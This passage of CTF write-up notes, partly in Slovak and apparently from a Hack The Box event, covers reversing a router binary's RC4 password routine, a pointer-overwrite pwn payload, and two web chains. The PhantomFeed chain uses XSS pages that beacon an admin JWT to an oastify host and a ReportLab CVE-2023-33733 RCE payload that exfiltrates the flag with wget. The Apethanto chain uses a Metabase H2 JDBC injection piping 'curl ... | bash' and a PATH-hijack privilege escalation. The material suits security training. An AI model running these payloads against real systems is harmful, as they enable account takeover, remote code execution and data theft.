"%s\n%s\n", v4, v4); pclose(v11); return v9; } ``` ``` .rodata:00400D50 C5 unk_400D50:.byte 0xC5 # DATA XREF: _ftext+50↑o .rodata:00400D51 7C .byte 0x7C # | .rodata:00400D52 2B .byte 0x2B # + .rodata:00400D53 05 .byte 5 .rodata:00400D54 48 .byte 0x48 # H .rodata:00400D55 90 .byte 0x90 .rodata:00400D56 F3 .byte 0xF3 .rodata:00400D57 B7 .byte 0xB7 .rodata:00400D58 3F .byte 0x3F # ? .rodata:00400D59 76 .byte 0x76 # v .rodata:00400D5A 0F .byte 0xF .rodata:00400D5B 5B .byte 0x5B # [ .rodata:00400D5C 68 .byte 0x68 # h .rodata:00400D5D 7B .byte 0x7B # { .rodata:00400D5E 62 .byte 0x62 # b .rodata:00400D5F 72 .byte 0x72 # r .rodata:00400D60 BD .byte 0xBD .rodata:00400D61 F8 .byte 0xF8 .rodata:00400D62 01 .byte 1 .rodata:00400D63 9B .byte 0x9B .rodata:00400D64 57 .byte 0x57 # W .rodata:00400D65 47 .byte 0x47 # G .rodata:00400D66 1E .byte 0x1E .rodata:00400D67 6F .byte 0x6F # o .rodata:00400D68 DF .byte 0xDF .rodata:00400D69 8C .byte 0x8C .rodata:00400D6A 55 .byte 0x55 # U .rodata:00400D6B 00 .byte 0 ``` - zaujimava cast - jedine, co je stale otazne, je funkcia `init_crypto_lib()` a implementacia jej dalsich funkcii :smile::gun:: ```c size_t key_length; // $v0 const char *password; // $s1 int curl_init; // $v0 FILE *hostname_file; // $s2 size_t v8; // $s0 int v9; // $s0 FILE *v11; // $s2 int v12[64]; // [sp+18h] [-158h] BYREF char future_password[44]; // [sp+118h] [-58h] BYREF char key[28]; // [sp+144h] [-2Ch] BYREF char username[16]; // [sp+160h] [-10h] BYREF strcpy(username, "zombie_lord"); strcpy(future_password, "d2c0ba035fe58753c648066d76fa793bea92ef29"); // skopiruje key z pamate do `key` memcpy(key, &unk_400D50, 27); key_length = strlen(key); password = (const char *)malloc(4 * key_length); init_crypto_lib((int)future_password, (int)key, (int)password); curl_init = curl_easy_init(); curl_easy_setopt(curl_init, 10002, "http://callback.router.htb"); curl_easy_setopt(curl_init, 10015, password); curl_easy_perform(curl_init); curl_easy_cleanup(curl_init); ``` - autorova path = `openwrt/build_dir/toolchain-mipsel_24kc_gcc-12.3.0_musl/musl-1.2.4` - **AAAAAAAAAAAAAAAAAAAAAAAAA** :smile::gun: `gcc another.c -o another -l curl` ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <curl/curl.h> // Define a buffer to store the server response struct MemoryStruct { char *memory; size_t size; }; // Callback function to handle the received data size_t WriteCallback(void *contents, size_t size, size_t nmemb, void *userp) { size_t realsize = size * nmemb; struct MemoryStruct *mem = (struct MemoryStruct *)userp; mem->memory = realloc(mem->memory, mem->size + realsize + 1); if (mem->memory == NULL) { // Out of memory fprintf(stderr, "Not enough memory (realloc returned NULL)\n"); return 0; } memcpy(&(mem->memory[mem->size]), contents, realsize); mem->size += realsize; mem->memory[mem->size] = 0; return realsize; } int key_rounds_init(const char *a1, unsigned char *a2) { int v3 = strlen(a1); int v5 = 0; unsigned char *v6 = a2; // Initialize values from 0 to 255 do { *v6 = (unsigned char)v5++; v6 = &a2[v5]; } while (v5 != 256); int v7 = 0; int v8 = 0; // Shuffle values based on input string do { int v9 = v7 % v3; unsigned char *v10 = &a2[v7]; int v11 = (unsigned char)a2[v7++]; v8 = (a1[v9] + v11 + v8) % 256; *v10 = a2[v8]; a2[v8] = v11; } while (v7 != 256); return 0; } int perform_rounds(unsigned char *a1, const char *a2, char *a3) { size_t v5 = strlen(a2); int v7 = 0; unsigned char v8 = 0; unsigned char v9 = 0; while (v7 != v5) { v9 = (unsigned char)(v9 + 1); unsigned char v11 = a1[v9]; v8 = (unsigned char)(v11 + v8); a1[v9] = a1[v8]; a1[v8] = v11; unsigned char *v12 = (unsigned char *)(a3 + v7); char v13 = a2[v7++]; *v12 = a1[a1[v11] + v11] ^ v13; } return 0; } const char unk_400D50[] = { 0xC5, 0x7C, 0x2B, 0x05, 0x48, 0x90, 0xF3, 0xB7, 0x3F, 0x76, 0x0F, 0x5B, 0x68, 0x7B, 0x62, 0x72, 0xBD, 0xF8, 0x01, 0x9B, 0x57, 0x47, 0x1E, 0x6F, 0xDF, 0x8C, 0x55, 0x00 }; /* const int unk_400D50[] = { 0x05, 0x2B, 0x7C, 0xC5, 0xB7, 0xF3, 0x90, 0x48, 0x5B, 0x0F, 0x76, 0x3F, 0x72, 0x62, 0x7B, 0x68, 0x9B, 0x01, 0xF8, 0xBD, 0x6F, 0x1E, 0x47, 0x57, 0x55, 0x8C, 0xDF };*/ void init_crypto_lib(const char *a1, const char *a2, char *a3) { unsigned char v6[260]; key_rounds_init(a1, v6); perform_rounds(v6, a2, a3); } int main() { size_t key_length; const char *password; char future_password[44]; char key[28]; char username[16]; strcpy(username, "zombie_lord"); strcpy(future_password, "d2c0ba035fe58753c648066d76fa793bea92ef29"); // Copy key from memory to `key` memcpy(key, unk_400D50, sizeof(key) - 1); // Use sizeof(key) - 1 to avoid copying the null terminator key_length = strlen(key); //password = (const char *)malloc(4 * key_length); //init_crypto_lib(future_password, key, (char *)password); // Avoid the casts in the function call password = (const char *)malloc(4 * key_length + 1); // Initialize crypto library init_crypto_lib(future_password, key, (char *)password); printf((char*)future_password); printf((char*)password); printf((char*)key); CURL *curl_init; CURLcode res; struct MemoryStruct chunk; // Initialize chunk structure chunk.memory = malloc(1); chunk.size = 0; curl_global_init(CURL_GLOBAL_DEFAULT); curl_init = curl_easy_init(); if (curl_init) { // Set URL curl_easy_setopt(curl_init, CURLOPT_URL, "http://callback.router.htb:48154"); // Set POST data curl_easy_setopt(curl_init, CURLOPT_POSTFIELDS, password); // Set the callback function to handle the response curl_easy_setopt(curl_init, CURLOPT_WRITEFUNCTION, WriteCallback); // Set user data for the callback function curl_easy_setopt(curl_init, CURLOPT_WRITEDATA, (void *)&chunk); // Perform the HTTP POST request res = curl_easy_perform(curl_init); // Check for errors if (res != CURLE_OK) fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res)); else { // Print the server response printf("Server Response:\n%s\n", chunk.memory); } // Clean up curl_easy_cleanup(curl_init); } printf((char*)password); // Free allocated memory free(chunk.memory); free((void *)password); // Clean up libcurl curl_global_cleanup(); return 0; } ``` - `lib_crypto_init()` stuff: ```c int __fastcall key_rounds_init(const char *a1, _BYTE *a2) { signed int v3; // $v0 int v5; // $v1 _BYTE *v6; // $a1 int v7; // $v1 int v8; // $a2 int v9; // $hi _BYTE *v10; // $t1 int v11; // $t0 v3 = strlen(a1); v5 = 0; v6 = a2; do { *v6 = v5++; v6 = &a2[v5]; } while ( v5 != 256 ); v7 = 0; v8 = 0; do { v9 = v7 % v3; v10 = &a2[v7]; v11 = (unsigned __int8)a2[v7++]; v8 = (a1[v9] + v11 + v8) % 256; *v10 = a2[v8]; a2[v8] = v11; } while ( v7 != 256 ); return 0; } // 400ABC: conditional instruction was optimized away because $v0.4!=0 //----- (00400B2C) -------------------------------------------------------- int __fastcall perform_rounds(int a1, const char *a2, int a3) { size_t v5; // $v0 int v7; // $a3 int v8; // $t1 int v9; // $t0 char v11; // $v1 _BYTE *v12; // $a1 char v13; // $a0 v5 = strlen(a2); v7 = 0; LOBYTE(v8) = 0; LOBYTE(v9) = 0; while ( v7 != v5 ) { v9 = (unsigned __int8)(v9 + 1); v11 = *(_BYTE *)(a1 + v9); v8 = (unsigned __int8)(v11 + v8); *(_BYTE *)(a1 + v9) = *(_BYTE *)(a1 + v8); *(_BYTE *)(a1 + v8) = v11; v12 = (_BYTE *)(a3 + v7); v13 = a2[v7++]; *v12 = *(_BYTE *)(a1 + (unsigned __int8)(v11 + *(_BYTE *)(a1 + v9))) ^ v13; } return 0; } //----- (00400BE4) -------------------------------------------------------- int __fastcall init_crypto_lib(const char *a1, const char *a2, int a3) { char v6[260]; // [sp+18h] [-104h] BYREF key_rounds_init(a1, v6); perform_rounds((int)v6, a2, a3); return 0; } ``` ## Great Old Talisman - easy PWN Read zapisuje data na preddefinovany pointer talis + 8 \* nami zadaná hodnota z prvého inputu. Analýzov binárky zistíme že tesne pred talis je pointer na jedinú funkciu ktorá sa volá za read(). Dopočítame medzeru medzi talis a pointerom na funkciu (-4\*8) a zmeníme hodnotu spodných dvoch bajtov pointeru tak aby ukazovali na funkciu read_flag. Profit. Payload: `python -c "print(-4);print('\x5a\x13')" | nc ip port` Flag: `HTB{th4nk_G0T_w3_h4v3_th15_t4l15m4n}` ## PhantomFeed - Hard Web So this was a real chain. TLDR: race condition to register user -> make admin bot visit link that issues oauth2 token, then triggers xss -> we get the token -> use admin access to generate pdfs -> we can change color attribute, copypasta payload from https://github.com/c53elyas/CVE-2023-33733/blob/master/code-injection-poc/poc.py ### Register using Race condition To successfully login after registering an user needs to have verified=True in database. True is the default value for this and user is created without this attribute so default takes over. ```python db_session = Database() user_valid, user_id = db_session.create_user(username, password, email) if not user_valid: return render_template("error.html", title="error", error="user exists"), 401 email_client = EmailClient(email) verification_code = db_session.add_verification(user_id) ``` However a few lines after creating `add_verification` is run which sets `verified=False` (the email verification is not possible so this cannot be set back to true) -> this means we have to race to log in before this thing is run and after the user is created. This can be easily done using burp intruder that starts shooting login requests and manually registering the account. A few of the intruder requests will actually log in yielding a cookie. ## Getting admin access the following code is responsible for oauth token issuing. ```python= @web.route("/oauth2/code", methods=["GET"]) @auth_middleware def oauth2(): client_id = request.args.get("client_id") redirect_url = request.args.get("redirect_url") if not client_id or not redirect_url: return render_template("error.html", title="error", error="missing parameters"), 400 authorization_code = generate_authorization_code(request.user_data["username"], client_id, redirect_url) url = f"{redirect_url}?authorization_code={authorization_code}" return redirect(url, code=303) @web.route("/oauth2/token", methods=["GET"]) @auth_middleware def token(): authorization_code = request.args.get("authorization_code") client_id = request.args.get("client_id") redirect_url = request.args.get("redirect_url") if not authorization_code or not client_id or not redirect_url: return render_template("error.html", title="error", error="missing parameters"), 400 if not verify_authorization_code(authorization_code, client_id, redirect_url): return render_template("error.html", title="error", error="access denied"), 401 access_token = create_jwt(request.user_data["user_id"], request.user_data["username"]) return json.dumps({ "access_token": access_token, "token_type": "JWT", "expires_in": current_app.config["JWT_LIFE_SPAN"], "redirect_url": redirect_url }) ``` This means every logged user can issue himself (but noone else) a new JWT by a get request. Another interesting thing is the `return json.dumps({ ` -> when you return a string as a response in flask it's returned with content-type: text/html which means if we can get some html into the response we have X$$ + also the users token as it's being send along Now another problem is how the we get admin to visit our bad url? ![Screenshot 2023-12-09 at 00.55.39](https://hackmd.io/_uploads/H1vbp7bI6.png) As a logged in user we can create posts with optional marketplace links. The links are being process by the admin bot as follows: ```py token = create_jwt(1, "administrator") cookie = { "value": token, ...} client.add_cookie(cookie) client.get("http://127.0.0.1:5000" + link) time.sleep(10) client.quit() ``` which means if our link would start with `@` we're able to redirect the bot wherever we want. Connecting this and the prior knowledge we can Issue a new JWT (oauth2 token) on the bots behalf and retrieve it using the XSS. Hosted exploit page(s) index.html ```html <script> victim_url = "http://127.0.0.1:1337/"; host = origin; xss_payload = `navigator.sendBeacon('http://el3l7f8zq17i84tga4hbzdohf8lz9pxe.oastify.com',document.body.innerHTML)`; redirect_endpoint = `/exfil.html`; redir_url_payload = `${host}${redirect_endpoint}?<script>${xss_payload}<${"/"}script>`; url = `${victim_url}/phantomfeed/oauth2/code?client_id=1&redirect_url=${redir_url_payload}`; open(url); </script> ``` exfil.html ```html <script> code = location.href.split("_code=")[1]; victim_url = "http://127.0.0.1:1337/"; host = origin; xss_payload = `navigator.sendBeacon('http://el3l7f8zq17i84tga4hbzdohf8lz9pxe.oastify.com',document.body.innerHTML)`; redirect_endpoint = `/exfil.html`; redir_url_payload = `${host}${redirect_endpoint}?<script>${xss_payload}<${"/"}script>`; window.location = `${victim_url}/phantomfeed/oauth2/token?authorization_code=${code}&client_id=1&redirect_url=${redir_url_payload}`; </script> ``` now we just specify our url into the marketplace link. In my case I put `@049f-84-245-121-8.ngrok-free.app/` there. Works like a charm and we get admin's JWT on our exfiltration endpoint ![Screenshot 2023-12-09 at 01.00.34](https://hackmd.io/_uploads/SkRXR7ZLT.png) ### RCE The admin has access to a pdf rendering endpoint which is kinda sus ```python= @web.route("/orders/html", methods = ["POST"]) @admin_middleware def orders_html(): color = request.form.get("color") if not color: return response("No color"), 400 db_session = Database() orders = db_session.get_all_orders() if not orders: return response("No orders placed"), 200 orders_template = render_template("orders.html", color=color) html2pdf = HTML2PDF() pdf = html2pdf.convert(orders_template, orders) pdf.seek(0) return send_file(pdf, as_attachment=True, download_name="orders.pdf", mimetype="application/pdf") ``` order.html contains ```htmlembedded <para> <font color="{{ color }}"> Orders: </font> </para> ``` The pdf renderring backend is `Reportlab` -> quick google search yields this https://github.com/c53elyas/CVE-2023-33733/blob/master/code-injection-poc/poc.py It has literally the same `<font>` and `color` HTML that it abuses... The author really outdid himself here. => Copypasta works and we get RCE ![Screenshot 2023-12-09 at 01.05.30](https://hackmd.io/_uploads/SJw81NZL6.png) payload: ``` color=[+[+getattr(pow,Word('__globals__'))['os'].system('wget+http://pepe.8r0fd9etwvdceyzagyn557ubl2rtfo3d.oastify.com/`cat+/flag*`')+for+Word+in+[orgTypeFun('Word',+(str,),+{+'mutated'%3a+1,+'startswith'%3a+lambda+self,+x%3a+False,+'__eq__'%3a+lambda+self,x%3a+self.mutate()+and+self.mutated+<+0+and+str(self)+%3d%3d+x,+'mutate'%3a+lambda+self%3a+{setattr(self,+'mutated',+self.mutated+-+1)},+'__hash__'%3a+lambda+self%3a+hash(str(self))+})]+]+for+orgTypeFun+in+[type(type(1))]+]+and+'red' ``` we get the flag! ![Screenshot 2023-12-09 at 01.06.00](https://hackmd.io/_uploads/Bkmd1NW8p.png) #loooongweeeirdchaiiinsisthenewwebhacking ## Biobundle - debugging -> stack > HTB{st4t1c_l1b5_but_c00l3r} ## Apethanto ```json POST /api/setup/validate HTTP/1.1 Host: apethanto.htb:3000 Upgrade-Insecure-Requests: 1 Content-Type: application/json Content-Length: 441 {"token":"819139a8-1ce9-46f0-acf8-9b4fc0d1164b","details":{"details":{ "subprotocol":"h2", "classname":"org.h2.Driver","advanced-options":true, "subname":"mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS SHELLEXEC AS $$ void shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(new String[]{\"sh\", \"-c\", cmd})\\;}$$\\;CALL SHELLEXEC('curl http://10.10.14.4:1337/scr | bash');"},"name":"x","engine":"postgres"}} ``` user = `HTB{3d1d071e4a99135770f57b53ec1644d2}` mlaw@metabase.htb $2a$10$8IsZk1vvWUtfyUImUnfCp..dxUNvR.sWlJN1IMtiaIqaZcOLvSfqW ``` 2023/12/10 09:14:37 CMD: UID=0 PID=1 | /sbin/init 2023/12/10 09:14:57 CMD: UID=0 PID=23384 | 2023/12/10 09:14:57 CMD: UID=0 PID=23383 | sh -c /bin/stty sane < /dev/pts/3 2023/12/10 09:14:57 CMD: UID=0 PID=23382 | /usr/bin/expect /root/interact.exp 2023/12/10 09:14:57 CMD: UID=0 PID=23385 | sudo -u metabase -i 2023/12/10 09:14:57 CMD: UID=998 PID=23386 | 2023/12/10 09:14:57 CMD: UID=998 PID=23387 | -bash 2023/12/10 09:14:57 CMD: UID=998 PID=23388 | -bash 2023/12/10 09:14:57 CMD: UID=0 PID=23389 | sudo apt update 2023/12/10 09:14:57 CMD: UID=0 PID=23390 | /usr/bin/dpkg --print-foreign-architectures 2023/12/10 09:14:57 CMD: UID=0 PID=23391 | /usr/lib/apt/methods/http 2023/12/10 09:14:57 CMD: UID=0 PID=23392 | 2023/12/10 09:14:57 CMD: UID=0 PID=23393 | apt update ``` - privesc = file `/home/metabase/sudo` that contains: ```bash #!/bin/bash /usr/bin/sudo cat /root/root.txt > /tmp/win ``` - and .bashrc -> `export PATH="/home/metabase:$PATH"`